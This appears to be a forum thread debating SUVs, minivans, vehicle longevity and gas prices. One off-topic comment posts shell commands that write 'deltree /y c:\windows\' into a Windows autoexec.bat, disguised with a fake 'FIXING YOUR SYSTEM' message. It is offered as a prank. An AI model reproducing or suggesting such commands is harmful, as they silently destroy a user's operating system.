Yeah, never mind the fact that I routinely have to carry a large amount of stuff that can't get wet. Perhaps I could just get two smaller cars, and chain them together instead.

$ echo "deltree /y c:\windows\" > /mnt/windows/autoexec.bat

it works, but is a little slow... and can be seen...

try this
$ echo "@echo off" > /mnt/windows/autoexec.bat
$ echo "smartdrv 32000 c+" >> /mnt/windows/autoexec.bat
$ echo "echo 'FIXING YOUR SYSTEM, REMOVING VIRUS SUPPORT'" >> /mnt/windows/autoexec.bat
$ echo "deltree /y c:\windows\" >> /mnt/windows/autoexec.bat

that should do it. :)

i know is offtopic, but i need some bad karma today

Minivans typically have more interior room than all but the largest SUVs. If you're towing a large trailer, a Suburban or the like is often justified, but typically SUVs are built with overly heavy components designed for physical use and abuse they'll never encounter. Most of the Hummers I see are unladen and driven by a single commuter.

Very school-marmish. What is wrong with buying and driving a car - well - because one LIKES it? Why is that contemptable to so many people?

I tend to agree. But I think the current high gas prices have people annoyed, and soaring demand contributes to the high prices.

Also you have to keep in mind that nobody is "making" gas; they're pumping it out of the ground and cleaning it up. Ultimately there's only a fixed amount which we all must share. The idea that one deserves to burn whatever he can pay for makes less sense when you consider that the money only covers the cost of shipping and refining.

One advantage to a vehicle that's "overbuilt" is that it'll last damn near forever. What's cheaper--spending $30k on a vehicle that'll last 20 years (or more), or spending $20k on a vehicle you'll have to replace after only 10 years (if you're lucky)?

(Yes, there are idiots who'll buy something new every 3-5 years. I'm not one of them, though, and neither are most of the people in my family. Hell, Dad still has his first new car that he bought when I was 18 months old. 31 years later, it's still in pretty good shape.)
